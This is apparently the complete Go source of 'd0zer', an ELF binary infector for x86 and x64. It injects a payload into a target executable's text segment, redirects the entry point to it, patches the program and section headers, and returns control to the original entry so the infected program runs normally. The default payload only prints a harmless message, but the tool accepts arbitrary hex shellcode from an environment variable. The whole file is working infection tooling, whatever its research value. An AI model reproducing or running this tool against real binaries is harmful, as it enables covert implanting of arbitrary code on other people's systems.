d0zer.go

package main

import (
	"bytes"
	"debug/elf"
	"encoding/binary"
	"encoding/hex"
	"errors"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"os"
	"strings"
)

const (
	PAGE_SIZE                       int    = 4096
	MOD_ENTRY_POINT                 string = "[+] Modified entry point from 0x%x -> 0x%x\n"
	TEXT_SEG_START                  string = "[+] Text segment starts @ 0x%x\n"
	TEXT_SEG_END                    string = "[+] Text segment ends @ 0x%x\n"
	PAYLOAD_LEN_PRE_EPILOGUE        string = "[+] Payload size pre-epilogue 0x%x\n"
	PAYLOAD_LEN_POST_EPILOGUE       string = "[+] Payload size post-epilogue 0x%x\n"
	GENERATE_AND_APPEND_PIC_STUB    string = "[+] Generated and appended position independent return 2 OEP stub to payload"
	INCREASED_TEXT_SEG_P_FILESZ     string = "[+] Increased text segment p_filesz and p_memsz by %d (length of payload)\n"
	ADJUST_SEGMENTS_AFTER_TEXT      string = "[+] Adjusting segments after text segment file offsets by 0x%x\n"
	INCREASE_PHEADER_AT_INDEX_BY    string = "Inceasing pHeader @ index %d by 0x%x\n"
	INCREASE_SECTION_HEADER_ADDRESS string = "[+] Increasing section header addresses if they come after text segment"
	UPDATE_SECTIONS_PAST_TEXT_SEG   string = "[+] (%d) Updating sections past text section @ addr 0x%x\n"
	EXTEND_SECTION_HEADER_ENTRY     string = "[+] Extending section header entry for text section by payload len."
)

type enumIdent struct {
	Endianness binary.ByteOrder
	Arch       elf.Class
}

type targetBin struct {
	Filesz   int64
	Contents []byte
	//tName string
	Ident   []byte
	EIdent  enumIdent
	Hdr     interface{}
	Shdrs   interface{}
	Phdrs   interface{}
	Fh      *os.File
	Payload bytes.Buffer
}

var preserve64 = []byte{
	0x50,       //push   %rax
	0x51,		//push   %rcx
	0x53,       //push   %rbx
	0x52,       //push   %rdx
	0x56,       //push   %rsi
	0x57,       //push   %rdi
	0x55,       //push   %rbp
	0x54,       //push   %rsp
	0x41, 0x50, //push   %r8
	0x41, 0x51, //push   %r9
	0x41, 0x52, //push   %r10
	0x41, 0x53, //push   %r11
	0x41, 0x54, //push   %r12
	0x41, 0x55, //push   %r13
	0x41, 0x56, //push   %r14
	0x41, 0x57, //push   %r15
}

var restoration64 = []byte{
	0x41, 0x5f, //pop    %r15
	0x41, 0x5e, //pop    %r14
	0x41, 0x5d, //pop    %r13
	0x41, 0x5c, //pop    %r12
	0x41, 0x5b, //pop    %r11
	0x41, 0x5a, //pop    %r10
	0x41, 0x59, //pop    %r9
	0x41, 0x58, //pop    %r8
	0x5c, //pop    %rsp
	0x5d, //pop    %rbp
	0x5f, //pop    %rdi
	0x5e, //pop    %rsi
	0x5a, //pop    %rdx
	0x5b, //pop    %rbx
	0x59, //pop    %rcx
	0x58, //pop    %rax
}

var defaultPayload64 = []byte{
	0xeb, 0x00, //jmp    401005 <message>
	//0000000000401005 <message>:
	0xe8, 0x2b, 0x00, 0x00, 0x00, //call   401035 <shellcode>
	0x68, 0x65, 0x6c, 0x6c, 0x6f, //push   $0x6f6c6c65
	0x20, 0x2d, 0x2d, 0x20, 0x74, 0x68, //and    %ch,0x6874202d(%rip)        # 68b43042 <__bss_start+0x68741042>
	0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul   $0x61207369,0x20(%rbx),%esi
	0x20, 0x6e, 0x6f, //and    %ch,0x6f(%rsi)
	0x6e,                   //outsb  %ds:(%rsi),(%dx)
	0x20, 0x64, 0x65, 0x73, //and    %ah,0x73(%rbp,%riz,2)
	0x74, 0x72, //je     401098 <get_eip+0x37>
	0x75, 0x63, //jne    40108b <get_eip+0x2a>
	0x74, 0x69, //je     401093 <get_eip+0x32>
	0x76, 0x65, //jbe    401091 <get_eip+0x30>
	0x20, 0x70, 0x61, //and    %dh,0x61(%rax)
	0x79, 0x6c, //jns    40109d <get_eip+0x3c>
	0x6f,       //outsl  %ds:(%rsi),(%dx)
	0x61,       //(bad)
	0x64, 0x0a, //or     %fs:0x1(%rax),%bh

	//0000000000401035 <shellcode>:
	0xb8, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%eax
	0xbf, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%edi
	0x5e,                         //pop    %rsi
	0xba, 0x2a, 0x00, 0x00, 0x00, //mov    $0x2a,%edx
	0x0f, 0x05, //syscall
}

var preserve32 = []byte{0x60} //pusha

var restoration32 = []byte{0x61} //popa

var defaultPayload32 = []byte{
	0xeb, 0x00, //jmp    8049002 <message>
	//08049002 <message>:
	0xe8, 0x2b, 0x00, 0x00, 0x00, //call   8049032 <shellcode>
	0x68, 0x65, 0x6c, 0x6c, 0x6f, //push   $0x6f6c6c65
	0x20, 0x2d, 0x2d, 0x20, 0x74, 68, //and    %ch,0x6874202d
	0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul   $0x61207369,0x20(%ebx),%esi
	0x20, 0x6e, 0x6f, //and    %ch,0x6f(%esi)
	0x6e,                         //outsb  %ds:(%esi),(%dx)
	0x2d, 0x64, 0x65, 0x73, 0x74, //sub    $0x74736564,%eax
	0x72, 0x75, //jb     8049099 <shellcode+0x67>
	0x63, 0x74, 0x69, 0x76, //arpl   %si,0x76(%ecx,%ebp,2)
	0x65, 0x20, 0x70, 0x61, //and    %dh,%gs:0x61(%eax)
	0x79, 0x6c, //jns    804909a <shellcode+0x68>
	0x6f, //outsl  %ds:(%esi),(%dx)
	0x61, //popa
	0x64, //fs
	0x0a, //.byte 0xa
	//08049032 <shellcode>:
	0x59,                         //pop    %ecx
	0xbb, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%ebx
	0xba, 0x2a, 0x00, 0x00, 0x00, //mov    $0x2a,%edx
	0xb8, 0x04, 0x00, 0x00, 0x00, //mov    $0x4,%eax
	0xcd, 0x80, //int    $0x80
}

func printPayload(p []byte) {
	fmt.Println("------------------PAYLOAD----------------------------")
	fmt.Printf("%s", hex.Dump(p))
	fmt.Println("--------------------END------------------------------")
}

func getPayloadFromEnv(p io.Writer, key string) (int, error) {
	val, ok := os.LookupEnv(key)
	if !ok {
		errorString := "Environmental variable " + key + " is not set"
		return 0, errors.New(errorString)
	}

	if val == "" {
		errorString := "Environmental variable " + key + " contains no payload"
		return 0, errors.New(errorString)
	}
	val = strings.ReplaceAll(val, "\\x", "")
	decoded, err := hex.DecodeString(val)
	if err != nil {
		log.Fatal(err)
	}

	return p.Write(decoded)
}

func (t *targetBin) isElf() bool {
	t.Ident = t.Contents[:16]
	return !(t.Ident[0] != '\x7f' || t.Ident[1] != 'E' || t.Ident[2] != 'L' || t.Ident[3] != 'F')
}

func (t *targetBin) infectBinary(debug bool, noRestoration bool, noRetOEP bool) error {
	var textSegEnd interface{}
	var oShoff interface{}
	var textNdx int

	switch t.EIdent.Arch {
	case elf.ELFCLASS64:
		oEntry := t.Hdr.(*elf.Header64).Entry
		oShoff = t.Hdr.(*elf.Header64).Shoff

		t.Hdr.(*elf.Header64).Shoff += uint64(PAGE_SIZE)
		pHeaders := t.Phdrs.([]elf.Prog64)
		pNum := int(t.Hdr.(*elf.Header64).Phnum)

		for i := 0; i < pNum; i++ {
			if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
				textNdx = i
				t.Hdr.(*elf.Header64).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
				if debug {
					fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header64).Entry)
				}

				textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
				if debug {
					fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
					fmt.Printf(TEXT_SEG_END, textSegEnd.(uint64))
					fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
				}
				
				if noRestoration  == false {
					t.Payload.Write(restoration64)
				}

				if noRetOEP == false {
					retStub := modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header64).Entry, oEntry)
					t.Payload.Write(retStub)
				}

				if debug {
					fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
					printPayload(t.Payload.Bytes())
				}

				t.Phdrs.([]elf.Prog64)[i].Memsz += uint64(t.Payload.Len())
				t.Phdrs.([]elf.Prog64)[i].Filesz += uint64(t.Payload.Len())

				if debug {
					fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
					fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
				}
			}
		}

		if debug {
			fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
		}

		for j := textNdx; j < pNum; j++ {
			if pHeaders[textNdx].Off < pHeaders[j].Off {
				if debug {
					fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
				}
				t.Phdrs.([]elf.Prog64)[j].Off += uint64(PAGE_SIZE)
			}
		}

		if debug {
			fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
		}
		sectionHdrTable := t.Shdrs.([]elf.Section64)
		sNum := int(t.Hdr.(*elf.Header64).Shnum)

		for k := 0; k < sNum; k++ {
			if sectionHdrTable[k].Off >= textSegEnd.(uint64) {
				if debug {
					fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
				}
				t.Shdrs.([]elf.Section64)[k].Off += uint64(PAGE_SIZE)
			} else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header64).Entry {
				if debug {
					fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
				}
				t.Shdrs.([]elf.Section64)[k].Size += uint64(t.Payload.Len())
			}
		}

	case elf.ELFCLASS32:
		oEntry := t.Hdr.(*elf.Header32).Entry
		oShoff = t.Hdr.(*elf.Header32).Shoff

		t.Hdr.(*elf.Header32).Shoff += uint32(PAGE_SIZE)
		pHeaders := t.Phdrs.([]elf.Prog32)
		pNum := int(t.Hdr.(*elf.Header32).Phnum)

		for i := 0; i < pNum; i++ {
			if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
				textNdx = i
				t.Hdr.(*elf.Header32).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
				if debug {
					fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header32).Entry)
				}

				textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
				if debug {
					fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
					fmt.Printf(TEXT_SEG_END, textSegEnd.(uint32))
					fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
				}

				if noRestoration == false {
					t.Payload.Write(restoration32)
				}

				if noRetOEP == false {
					retStub := modEpilogue(int32(t.Payload.Len() + 5), t.Hdr.(*elf.Header32).Entry, oEntry)
					t.Payload.Write(retStub)
				}

				if debug {
					fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
					printPayload(t.Payload.Bytes())
				}

				t.Phdrs.([]elf.Prog32)[i].Memsz += uint32(t.Payload.Len())
				t.Phdrs.([]elf.Prog32)[i].Filesz += uint32(t.Payload.Len())

				if debug {
					fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
					fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
				}
			}
		}

		if debug {
			fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
		}

		for j := textNdx; j < pNum; j++ {
			if pHeaders[textNdx].Off < pHeaders[j].Off {
				if debug {
					fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
				}
				t.Phdrs.([]elf.Prog32)[j].Off += uint32(PAGE_SIZE)
			}
		}

		if debug {
			fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
		}
		sectionHdrTable := t.Shdrs.([]elf.Section32)
		sNum := int(t.Hdr.(*elf.Header32).Shnum)

		for k := 0; k < sNum; k++ {
			if sectionHdrTable[k].Off >= textSegEnd.(uint32) {
				if debug {
					fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
				}
				t.Shdrs.([]elf.Section32)[k].Off += uint32(PAGE_SIZE)
			} else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header32).Entry {
				if debug {
					fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
				}
				t.Shdrs.([]elf.Section32)[k].Size += uint32(t.Payload.Len())
			}
		}
	}

	infected := new(bytes.Buffer)

	if h, ok := t.Hdr.(*elf.Header64); ok {
		if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
			return err
		}
	}

	if h, ok := t.Hdr.(*elf.Header32); ok {
		if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
			return err
		}
	}

	if p, ok := t.Phdrs.([]elf.Prog64); ok {
		if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
			return err
		}
	}

	if p, ok := t.Phdrs.([]elf.Prog32); ok {
		if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
			return err
		}
	}

	var ephdrsz int
	switch t.EIdent.Arch {
	case elf.ELFCLASS64:
		ephdrsz = int(t.Hdr.(*elf.Header64).Ehsize) + int(t.Hdr.(*elf.Header64).Phentsize * t.Hdr.(*elf.Header64).Phnum)
	case elf.ELFCLASS32:
		ephdrsz = int(t.Hdr.(*elf.Header32).Ehsize) + int(t.Hdr.(*elf.Header32).Phentsize * t.Hdr.(*elf.Header32).Phnum)
	}

	infected.Write(t.Contents[ephdrsz:])

	infectedShdrTable := new(bytes.Buffer)
	switch t.EIdent.Arch {
	case elf.ELFCLASS64:
		binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section64))
	case elf.ELFCLASS32:
		binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section32))
	}

	finalInfectionTwo := make([]byte, infected.Len() + int(PAGE_SIZE))
	finalInfection := infected.Bytes()

	var endOfInfection int
	switch t.EIdent.Arch {
	case elf.ELFCLASS64:
		copy(finalInfection[int(oShoff.(uint64)):], infectedShdrTable.Bytes())
		endOfInfection = int(textSegEnd.(uint64))
	case elf.ELFCLASS32:
		copy(finalInfection[int(oShoff.(uint32)):], infectedShdrTable.Bytes())
		endOfInfection = int(textSegEnd.(uint32))
	}

	copy(finalInfectionTwo, finalInfection[:endOfInfection])

	if debug {
		fmt.Println("[+] writing payload into the binary")
	}

	copy(finalInfectionTwo[endOfInfection:], t.Payload.Bytes())
	copy(finalInfectionTwo[endOfInfection + PAGE_SIZE:], finalInfection[endOfInfection:])
	infectedFileName := fmt.Sprintf("%s-infected", t.Fh.Name())

	if err := ioutil.WriteFile(infectedFileName, finalInfectionTwo, 0751); err != nil {
		return err
	}
	return nil
}

func (t *targetBin) writePreservationStub() {
	switch t.EIdent.Arch {
	case elf.ELFCLASS64:
		t.Payload.Write(preserve64)
	case elf.ELFCLASS32:
		t.Payload.Write(preserve32)
	}
}

func (t *targetBin) enumIdent() error {
	switch elf.Class(t.Ident[elf.EI_CLASS]) {
	case elf.ELFCLASS64:
		t.Hdr = new(elf.Header64)
		t.EIdent.Arch = elf.ELFCLASS64
	case elf.ELFCLASS32:
		t.Hdr = new(elf.Header32)
		t.EIdent.Arch = elf.ELFCLASS32
	default:
		return errors.New("Invalid Arch supplied -- only x86 and x64 ELF binaries supported")
	}

	switch elf.Data(t.Ident[elf.EI_DATA]) {
	case elf.ELFDATA2LSB:
		t.EIdent.Endianness = binary.LittleEndian
	case elf.ELFDATA2MSB:
		t.EIdent.Endianness = binary.BigEndian
	default:
		return errors.New("Binary possibly corrupted -- byte order unknown")
	}

	return nil
}

func (t *targetBin) mapHeader() error {
	h := bytes.NewReader(t.Contents)
	b := t.EIdent.Endianness

	switch a := t.EIdent.Arch; a {
	case elf.ELFCLASS64:
		t.Hdr = new(elf.Header64)
		if err := binary.Read(h, b, t.Hdr); err != nil {
			return err
		}
	case elf.ELFCLASS32:
		t.Hdr = new(elf.Header32)
		if err := binary.Read(h, b, t.Hdr); err != nil {
			return err
		}
	}
	return nil
}

func (t *targetBin) getSectionHeaders() error {
	if h, ok := t.Hdr.(*elf.Header64); ok {
		start := int(h.Shoff)
		end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
		sr := bytes.NewBuffer(t.Contents[start:end])
		t.Shdrs = make([]elf.Section64, h.Shnum)

		if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section64)); err != nil {
			return err
		}
	}

	if h, ok := t.Hdr.(*elf.Header32); ok {
		start := int(h.Shoff)
		end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
		sr := bytes.NewBuffer(t.Contents[start:end])
		t.Shdrs = make([]elf.Section32, h.Shnum)

		if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section32)); err != nil {
			return err
		}
	}

	return nil
}

func (t *targetBin) getProgramHeaders() error {
	if h, ok := t.Hdr.(*elf.Header64); ok {
		start := h.Phoff
		end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
		pr := bytes.NewBuffer(t.Contents[start:end])
		t.Phdrs = make([]elf.Prog64, h.Phnum)

		if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog64)); err != nil {
			return err
		}
	}

	if h, ok := t.Hdr.(*elf.Header32); ok {
		start := h.Phoff
		end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
		pr := bytes.NewBuffer(t.Contents[start:end])
		t.Phdrs = make([]elf.Prog32, h.Phnum)

		if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog32)); err != nil {
			return err
		}
	}

	return nil
}

func (t *targetBin) getFileContents() error {
	fStat, err := t.Fh.Stat()
	if err != nil {
		return err
	}

	t.Filesz = fStat.Size()
	t.Contents = make([]byte, t.Filesz)

	if _, err := t.Fh.Read(t.Contents); err != nil {
		return err
	}
	return nil
}

func main() {

	debug := flag.Bool("debug", false, "see debug output (generated payload, modifications, etc)")
	pEnv := flag.String("payloadEnv", "", "name of the environmental variable holding the payload")
	oFile := flag.String("target", "", "path to binary targetted for infection")
	pFile := flag.String("payloadBin", "", "path to binary containing payload")
	noPres := flag.Bool("noPreserve", false, "prevents d0zer from prepending its register preservation routine to your payload")
	noRest := flag.Bool("noRestoration", false, "prevents d0zer from appending register restoration routine to your payload")
	noRetOEP := flag.Bool("noRetOEP", false, "prevents d0zer from appending ret-to-OEP (continue execution after payload) to payload")
	flag.Parse()

	if *oFile == "" {
		flag.PrintDefaults()
		log.Fatal("No target binary supplied")
	}
	t := new(targetBin)

	fh, err := os.Open(*oFile)
	if err != nil {
		log.Fatal(err)
	}

	t.Fh = fh
	defer t.Fh.Close()

	if err := t.getFileContents(); err != nil {
		fmt.Println(err)
		return
	}

	if !t.isElf() {
		fmt.Println("This is not an Elf binary")
		return
	}

	if err := t.enumIdent(); err != nil {
		fmt.Println(err)
		return
	}

	if  *noPres == false {
		t.writePreservationStub()
	}

	switch {

	case *pEnv != "" && *pFile != "":
		flag.PrintDefaults()
		return

	case *pEnv == "" && *pFile == "":
		if t.EIdent.Arch == elf.ELFCLASS64 {
			t.Payload.Write(defaultPayload64)
		} else {
			t.Payload.Write(defaultPayload32)
		}

	case *pEnv != "":
		if _, err := getPayloadFromEnv(&t.Payload, *pEnv); err != nil {
			fmt.Println(err)
			return
		}

	case *pFile != "":
		fmt.Println("Getting payload from an ELF binary .text segment is not yet supported")
		return
	}

	if err := t.mapHeader(); err != nil {
		fmt.Println(err)
		return
	}

	if err := t.getSectionHeaders(); err != nil {
		fmt.Println(err)
		return
	}

	if err := t.getProgramHeaders(); err != nil {
		fmt.Println(err)
		return
	}

	if err := t.infectBinary(*debug, *noRest, *noRetOEP); err != nil {
		fmt.Println(err)
		return
	}
}